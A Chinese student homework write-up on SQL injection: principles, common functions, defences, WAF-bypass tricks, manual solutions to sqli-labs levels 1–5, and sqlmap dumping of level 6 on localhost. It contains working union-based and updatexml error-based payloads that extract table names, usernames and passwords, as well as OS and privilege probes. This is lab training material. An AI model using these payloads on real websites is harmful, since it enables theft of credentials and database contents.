2024.8.30
目录
今日作业:
1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
3.总结SQLi的手工注入的步骤
4.使用sqlmap通过或验证第六关
1.SQL注入
成因
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
产生的威胁
- 猜解后台数据库数据,盗取数据库中存储的敏感信息。
- 绕过认证,绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作
基本语法
数据库连接mysql -u root-p
查询所有库 show databases;
创建数据库create database database_name;
选择数据库use database_name;
创建表create table database_name (
column1 datatype,
......
) ;
插入数据insert into table_name (column1,column2,column3,...)
values (value1,value2, value3,...)
SQL注入原理
SQL注入(SQL Injection)是一种针对后台数据库的攻击手段,攻击者通过在Web表单的输入域或页面请求的查询字符串中插入(或“注入”)恶意SQL命令,欺骗服务器执行非法的SQL语句,从而实现对数据库的非法访问和操作,如查询、插入、更新、删除数据等。SQL注入攻击发生的主要原因是Web应用程序对用户输入的数据没有进行充分的验证和过滤,导致恶意SQL代码被数据库服务器误认为是正常的SQL语句而执行。
SQL注入的主要原理包括:
- 恶意拼接查询:攻击者通过在用户输入的字符串中加入SQL语句,如果程序未对输入进行严格的检查和处理,这些SQL语句就会被拼接到正常的SQL查询中并执行。
- 利用注释执行非法命令:SQL语句中可以插入注释,攻击者可以通过构造包含注释的恶意输入来绕过正常的SQL语句逻辑,执行非法的SQL命令。
SQL注入常用函数及含义
SQL注入攻击中常用的函数包括但不限于:
- concat():拼接字符串,直接拼接,字符之间没有符号。
- concat_ws():指定符号进行字符串拼接。
- group_concat():将查询产生的同一个分组的值连接起来,返回一个字符串结果,常用于联合查询注入中。
- length():返回指定对象的长度,常用于布尔盲注中判断数据库信息的长度。
- left()、right()、substr()、substring()、mid():用于截取字符串,常用于盲注中逐步猜测数据库信息的内容。
- ascii():返回字符串最左字符的ASCII值,同样用于盲注中。
- sleep():使数据库查询暂停执行指定的时间,常用于延时盲注中。
- if():条件判断函数,根据条件返回不同的值,可用于构造特定的SQL注入语句。
- updatexml()、extractvalue():XML处理函数,常用于报错注入中,通过产生XML解析错误来泄露数据库信息。
- load_file():读取文件,可用于从服务器上读取敏感文件。
- into outfile、into dumpfile:写入文件,可将恶意代码写入服务器文件系统中。
SQL注入防御手段
为了有效防御SQL注入攻击,可以采取以下措施:
- 对用户进行分级管理,严格控制用户的权限:对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
- 使用预处理语句(Prepared Statements):通过预处理语句和参数化查询,可以有效防止SQL注入攻击,因为预处理语句会将SQL语句和参数分开处理,避免了SQL语句的拼接。
- 对输入数据进行严格的验证和过滤:对于用户输入的所有数据,都需要进行严格的验证和过滤,特别是那些可能被用于SQL查询的数据。需要过滤掉特殊字符和潜在的恶意代码。
- 使用安全参数:在编写SQL查询时,尽量使用数据库提供的安全参数和函数,如MySQL的
mysql_real_escape_string()
函数,用于转义SQL语句中的特殊字符。 - 定期更新和打补丁:确保数据库和Web应用程序的所有组件都是最新的,并及时安装安全补丁,以修复已知的安全漏洞。
- 使用Web应用防火墙(WAF):WAF可以检测和阻止SQL注入等Web攻击,通过过滤和监控HTTP请求来保护Web应用程序。
SQL注入常用绕过WAF的方法
尽管WAF可以提供一定的安全保护,但攻击者仍然可能通过一些方法绕过WAF的检测:
- 注释符号绕过:使用SQL注释符号(如--、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。
- 编码绕过:使用URL编码、Unicode编码等方式来隐藏恶意SQL代码,绕过WAF的检测。
- 大小写绕过:利用数据库系统对大小写不敏感的特性,将关键字写成不同的大小写形式,绕过基于大小写的过滤器。
- 特殊字符绕过:通过构造包含特殊字符的恶意输入来绕过WAF的检测。
- 逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,使用盲注技术绕过WAF的检测。
但是这些绕过方法并不是绝对有效的,且随着WAF技术的不断发展,其防御能力也在不断提升。因此,保持WAF的更新和配置的正确性对于防御SQL注入攻击至关重要。
2.sqli-labs通关前5关
电脑出问题了用云服务器的公网IP做
第一关
首先判断是否存在sql注入,在id=1后加上单引号',返回异常,则存在sql注入
首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数,分别输入以下
?id=1'order by 4 --+
?id=1'order by 3 --+
4报错,3可以,得出有三列
查看表格里面那一列是在页面显示的,在链接后面添加语句
union select 1,2,3--+
进行联合查询来暴露可查询的字段号,看哪 些字段是可以返回给我们前端进行渲染的,不进行返回的字段我们无法利用
获取当前数据名和版本号
?id=-1'union select 1,database(),version()--+
查找数据库表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查找数据库列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查username和password对应的内容
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
即可得到我们的用户名为Agelina,密码为I-kill-you
第二关
首先进行判断,输入
?id=1'
?id=1--+
发现为数字型注入
判断字段数量
?id=1'order by 4 --+
?id=1'order by 3 --+
4报错,3可以,说明只有三列
查看所有数据库
?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata %23
查看数据库security下的所有表
?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'%23
查看users下的所有列
?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
查看所有的用户名和密码信息
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users%23
第三关
输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号
判断字段数量,发现还是三列
判断字段前端回显位置
?id=-1') union select 1,2,3--+
查找数据库名
?id=-1') union select 1,database(),version()--+
查找数据库表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查找列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查找用户名和密码数据
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关
分别用id=1' id=1"判断是否进行sql注入,发现代码当中对 id 参数进行了 “” 和 () 的包装
所以我们用以下代码来进行注入
?id=1”) --+
判断字段数量,发现还是三列
?id=1") order by 3 --+
?id=1") order by 4 --+
判断字段前端回显位置
?id=-1") union select 1,2,3 --+
查找数据库名
?id=-1") union select 1,2,database() --+
查找数据库表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查找列名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
查找用户名和密码数据
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
第五关
id=i"和id=i'判断是否注入,可以看到查询结果不回显,并且从报错可以判断出本关的闭合是单引号
考虑到可能是盲注,便对其进行盲注测试,这里用sleep()函数,果然有时间延迟
这里使用报错输入函数updatexml()
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
括号里面的concat是用于连接两个或多个数组,将其以拼接的方式输出到前端页面
0x7e是一个特殊符号 ~ 这是为了区分报错注入后的有用信息,因为页面报错包含太多没用信息
查找表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
查询字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
查找用户名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
查找密码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+
3.SQLi的手工注入的步骤
1.判断是否存在注入点
1.登录
2.注册
3.留⾔
4.验证⽤户身份所属
5.查询某⽇xx信息
6.订单操作
……
2.判断字段数量
在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显
'order by number--+
--注释
在SQL中,-- 是⼀种单⾏注释的开始。但是, -- 后⾯必须紧跟⼀个空格(或其他⾮数字、⾮字⺟
的字符),之后的所有内容才会被当作注释处理。如果-- 后⾯直接跟了数字、字⺟或某些特殊字符(不包括空格),那么它不会被视为注释的开始,SQL解析器会尝试将-- 作为查询的⼀部分来解析。
--+注释
在SQL注⼊的场景中,--+ 经常被⽤作⼀种技巧来绕过某些过滤机制。这⾥的逻辑是,
-- 表示注释的开始,但由于某些SQL环境或应⽤可能对-- 进⾏了过滤,攻击者会尝试在 -- 后⾯添加⼀个不常⻅的字符(如+ ),这样过滤规则可能就不会识别出这是⼀个注释的开始。然⽽,从SQL解析的⻆度来看,+ 紧接着 -- (并且-- 后紧跟空格)通常也会被当作注释的⼀部分,因为+ 本身在SQL中(在⼤多数上下⽂中)并不是⼀个操作符(除非它⽤于数学加法),所以--+ 后接空格及之后的内容通常会被忽略
为什么需要--+ 而不是--
在⼀些特定的环境中,⽐如某些数据库管理系统(DBMS)或应⽤程序可能通过简单的字符串匹配来过滤掉-- 作为注释的尝试,以防⽌SQL注⼊。在这些情况下,使⽤--+ 可能绕过这种简单的过滤机制,因为过滤器可能没有预料到攻击者会在-- 后添加额外的字符。
然⽽,需要强调的是,依赖这种技巧进⾏SQL注⼊是⾮常不稳定的,因为不同的数据库系统或应⽤可能对注释的处理⽅式有所不同。此外,随着安全意识的提⾼,现代的应⽤程序和数据库系统通常会采⽤更复杂的⽅法来防⽌SQL注⼊,包括但不限于使⽤参数化查询、存储过程和ORM框架等
3.判断字段前端回显位置
在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤
4.判断数据库信息
利⽤内置函数暴数据库信息
version() -- 版本;
database() -- 数据库;
user() -- ⽤户;
不⽤猜解可⽤字段暴数据库信息 ( 有些⽹站不适⽤ )
and 1=2 union all select version() and 1=2
union all select database() and 1=2
union all select user()
操作系统信息
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限
and ord(mid(user(),1,1))=114 -- 返回正常说明为 root
5.查找数据库名
Mysql 5 以上有内置库 information_schema ,存储着mysql的所有数据库和表结构信息
union select information_schema from information_schema.schemata (语句在显示位)
6.查找数据库表名
union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
注意字段⻓度,1,payload,2,3,…#
7.查找列名
-1' union select 1,(select group_concat(column_name) from information_schem a.columns where table_name='biaoming'),3,4#
8.查数据
-1' union select 1,(select columnsname from tablename),3,4#
4.sqlmap通过或验证第六关
终于把电脑问题解决了。。。
下载sqlmap,使用cmd输入命令
查看所有数据库和当前数据库
python sqlmap.py -u "http://localhost:8080/sqli-labs-new/Less-6/?id=1" --dbs --batch
查看security中的表
python sqlmap.py -u "http://localhost:8080/sqli-labs-new/Less-6/?id=1" --batch -D security --tables
查看user表中的数据
python sqlmap.py -u "http://localhost:8080/sqli-labs-new/Less-6/?id=1" --batch -D security -T users --dump